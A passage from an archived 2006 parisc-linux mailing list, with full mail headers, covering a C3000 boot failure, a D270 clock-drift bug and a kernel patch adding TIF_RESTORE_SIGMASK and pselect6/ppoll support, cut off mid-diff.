> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What happen to the Penguin
Date: Sun, 27 Aug 2006 17:21:43 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200608272121.k7RLLh0F018554@hiauly1.hia.nrc.ca>
References: <20060630184210.GE27102@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624161 20752 80.91.229.3 (22 Nov 2014 02:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 21:21:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 27 Aug 2006 23:21:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C12B7D809;
	Sun, 27 Aug 2006 15:21:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10012-01; Sun, 27 Aug 2006 15:21:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FBFF7D7FD;
	Sun, 27 Aug 2006 15:21:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 892237D7E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:21:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09777-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:21:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 473E97D7DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:21:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k7RLLhkc018555;
	Sun, 27 Aug 2006 17:21:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k7RLLh0F018554;
	Sun, 27 Aug 2006 17:21:43 -0400 (EDT)
In-Reply-To: <20060630184210.GE27102@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Jun 30, 2006 02:42:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yzvHcGYnTiEtQKyUaGRwcct1ZUVSRJdM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23917

> On Mon, Jun 26, 2006 at 07:59:31PM -0400, John David Anglin wrote:
> > I haven't been able to boot recent consoles of my c3k (oh, I did
> > accidently boot a 64-bit kernel built for an A500 without frame
> > buffer support).  The last build that successfully boots is
> > 2.6.17-rc3-pa3.  The last messages that is see are:
> > 
> <snip...>
> > Any ideas as to what's broken in later kernels?
> > 
> 
> Apparently there has been some changes to the way VTs are handled,
> as I saw someone else complaining about this in a completely
> unrelated place. I'll take a look into it at some point this weekend.

This happened between 2.6.17-rc3-pa3 and 2.6.17-rc4-pa0.  Removing
the unsupported A1262A allowed 2.6.17-pa6 to boot.  It doesn't boot
with the card installed.  This is using the c3000_defconfig kernels.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 17:32:09 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200608272132.k7RLW9hl018646@hiauly1.hia.nrc.ca>
References: <200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624161 20754 80.91.229.3 (22 Nov 2014 02:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:41 +0000 (UTC)
Cc: gmsoft@tuxicoman.be,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 21:32:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 27 Aug 2006 23:32:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4827D80F;
	Sun, 27 Aug 2006 15:32:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10012-08; Sun, 27 Aug 2006 15:32:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F0CC7D80B;
	Sun, 27 Aug 2006 15:32:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D7607D809
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:32:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09777-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:32:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4CF627D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:32:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k7RLWARO018647;
	Sun, 27 Aug 2006 17:32:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k7RLW9hl018646;
	Sun, 27 Aug 2006 17:32:09 -0400 (EDT)
In-Reply-To: <200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Aug 27, 2006 05:07:41 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XzfEDVwnQEVsAujDZnVp9/RKNzg2NUKD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23918

> > So far I was able to workaround the problem by making gettimeoffset() return 0 instead of the actual result. This is in arch/parisc/kernel/time.c.
> > It looks like gettimeoffset() returns a very large value when there is load on the system.
> > This value seems to be adding 27 secs to the actual time one every 5 to 10 seconds. I poll every second.
> 
> Is this a 64 or 32 bit kernel?  The size of long changes.  There may
> be a subtle issue with cr16.  It's reads as a 64 bit register.  However,
> on writes, only the least significant matter.  I could see missing
> a timer interrupt if we get close too close to the compare value.
> The 27 seconds might be the time for the counter to wrap.

0x100000000 / 27 = 159072862.  The D270 is a 160 MHz machine isn't it?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What happen to the Penguin
Date: Sun, 27 Aug 2006 19:30:45 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20060827233044.GA6394@athena.road.mcmartin.ca>
References: <20060630184210.GE27102@athena.road.mcmartin.ca>
	<200608272121.k7RLLh0F018554@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624162 20756 80.91.229.3 (22 Nov 2014 02:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:42 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 23:32:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 28 Aug 2006 01:32:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17F797D820;
	Sun, 27 Aug 2006 17:32:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11265-08; Sun, 27 Aug 2006 17:32:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F2B37D821;
	Sun, 27 Aug 2006 17:32:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4616A7D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 17:31:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11296-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 17:31:55 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 132E67D81D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 17:31:55 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E994C58411D;
	Sun, 27 Aug 2006 19:31:53 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 744D658411B;
	Sun, 27 Aug 2006 19:31:53 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 1940723E02;
	Sun, 27 Aug 2006 19:31:53 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 553453B06A; Sun, 27 Aug 2006 19:30:45 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200608272121.k7RLLh0F018554@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Qh7AfCZTPjltCOrBOTU2udgzMTE2NUk/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23919

On Sun, Aug 27, 2006 at 05:21:43PM -0400, John David Anglin wrote:
> This happened between 2.6.17-rc3-pa3 and 2.6.17-rc4-pa0.  Removing
> the unsupported A1262A allowed 2.6.17-pa6 to boot.  It doesn't boot
> with the card installed.  This is using the c3000_defconfig kernels.
> 

Can you remove the PCI_DEVICE(...) lines with PCI_DEVICE_HP_VISUALIZEFX*
in drivers/video/console/sticore.c and see what happens? That should
at least allow them to boot.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFT] TIF_RESTORE_SIGMASK
Date: Sun, 27 Aug 2006 21:15:28 -0400
Lines: 191
Approved: news@gmane.org
Message-ID: <20060828011528.GB6785@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624162 20758 80.91.229.3 (22 Nov 2014 02:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2006 01:16:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 28 Aug 2006 03:16:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ED517D714;
	Sun, 27 Aug 2006 19:16:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12835-07; Sun, 27 Aug 2006 19:16:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0FC17D7FD;
	Sun, 27 Aug 2006 19:16:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC67F7D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 19:16:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12514-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 19:16:38 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 46C577D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 19:16:38 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CFDF158411A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 21:16:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 60FF9584114
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 21:16:37 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id EA38223E02
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 21:16:36 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id D109C3B06A; Sun, 27 Aug 2006 21:15:28 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VgC4A1kHa2A7W7vDOHQy0jMyOWhhaoep
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23920

Could someone taller than me please review this?

-- Kyle

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 663631c..5405a99 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1089,14 +1089,13 @@ intr_do_signal:
 	CMPIB= 0,%r20,intr_restore /* backward */
 	nop
 
-	copy	%r0, %r24			/* unsigned long in_syscall */
-	copy	%r16, %r25			/* struct pt_regs *regs */
+	copy	%r0, %r25			/* unsigned long in_syscall */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
+	BL	do_notify_resume,%r2
+	copy	%r16, %r26			/* struct pt_regs *regs */
 
 	b	intr_check_sig
 	nop
@@ -2267,16 +2266,14 @@ syscall_do_signal:
 	   consistent with all the relevant state of the process
 	   before the syscall.  We need to verify this. */
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1 
-	ldo	TASK_REGS(%r1), %r25		/* struct pt_regs *regs */
-	reg_save %r25
-
-	ldi	1, %r24				/* unsigned long in_syscall */
+	ldo	TASK_REGS(%r1), %r26		/* struct pt_regs *regs */
+	reg_save %r26
 
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
+	BL	do_notify_resume,%r2
+	ldi	1, %r25				/* long in_syscall */
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
 	ldo	TASK_REGS(%r1), %r20		/* reload pt_regs */
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 9a04272..e8de263 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -58,8 +58,6 @@ #define _BLOCKABLE (~(sigmask(SIGKILL) |
  * this. */
 #define A(__x)	((unsigned long)(__x))
 
-int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
-
 /*
  * Atomically swap in the new signal mask, and wait for a signal.
  */
@@ -93,21 +91,20 @@ #endif
 			return -EFAULT;
 	}
 
+	/* sigmask(SIGKILL) | sigmask(SIGSTOP) */
 	sigdelsetmask(&newset, ~_BLOCKABLE);
 
 	spin_lock_irq(&current->sighand->siglock);
-	saveset = current->blocked;
+	current->saved_sigmask = current->blocked;
 	current->blocked = newset;
 	recalc_sigpending();
 	spin_unlock_irq(&current->sighand->siglock);
 
-	regs->gr[28] = -EINTR;
-	while (1) {
-		current->state = TASK_INTERRUPTIBLE;
-		schedule();
-		if (do_signal(&saveset, regs, 1))
-			return -EINTR;
-	}
+	current->state = TASK_INTERRUPTIBLE;
+	schedule();
+	set_thread_flag(TIF_RESTORE_SIGMASK);
+
+	return -ERESTARTNOHAND;
 }
 
 /*
@@ -528,12 +525,13 @@ handle_signal(unsigned long sig, siginfo
  * us due to the magic of delayed branching.
  */
 
-asmlinkage int
-do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
+asmlinkage void
+do_signal(struct pt_regs *regs, long in_syscall)
 {
 	siginfo_t info;
 	struct k_sigaction ka;
 	int signr;
+	sigset_t *oldset;
 
 	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
 	       oldset, regs, regs->sr[7], in_syscall);
@@ -543,7 +541,9 @@ do_signal(sigset_t *oldset, struct pt_re
 	   we would be called in that case, but for some reason we
 	   are. */
 
-	if (!oldset)
+	if (test_thread_flag(TIF_RESTORE_SIGMASK))
+		oldset = &current->saved_sigmask;
+	else
 		oldset = &current->blocked;
 
 	DBG(1,"do_signal: oldset %08lx / %08lx\n", 
@@ -592,7 +592,9 @@ do_signal(sigset_t *oldset, struct pt_re
 		if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall)) {
 			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
 				regs->gr[28]);
-			return 1;
+			if (test_thread_flag(TIF_RESTORE_SIGMASK))
+				clear_thread_flag(TIF_RESTORE_SIGMASK);
+			return;
 		}
 	}
 	/* end of while(1) looping forever if we can't force a signal */
@@ -653,5 +655,17 @@ #endif
 	DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n", 
 		regs->gr[28]);
 
-	return 0;
+	if (test_thread_flag(TIF_RESTORE_SIGMASK)) {
+		clear_thread_flag(TIF_RESTORE_SIGMASK);
+		sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL);
+	}
+
+	return;
+}
+
+void do_notify_resume(struct pt_regs *regs, long in_syscall)
+{
+	if (test_thread_flag(TIF_SIGPENDING) ||
+	    test_thread_flag(TIF_RESTORE_SIGMASK))
+		do_signal(regs, in_syscall);
 }
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 701d66a..8ee1576 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -377,8 +377,8 @@ #endif
 	ENTRY_SAME(inotify_init)
 	ENTRY_SAME(inotify_add_watch)	/* 270 */
 	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(ni_syscall)		/* 271 ENTRY_COMP(pselect6) */
-	ENTRY_SAME(ni_syscall)		/* 272 ENTRY_COMP(ppoll) */
+	ENTRY_COMP(pselect6)
+	ENTRY_COMP(ppoll)
 	ENTRY_SAME(migrate_pages)
 	ENTRY_COMP(openat)		/* 275 */
 	ENTRY_SAME(mkdirat)
diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index f2f83b0..949314c 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -62,6 +62,7 @@ #define TIF_NEED_RESCHED	3	/* rescheduli
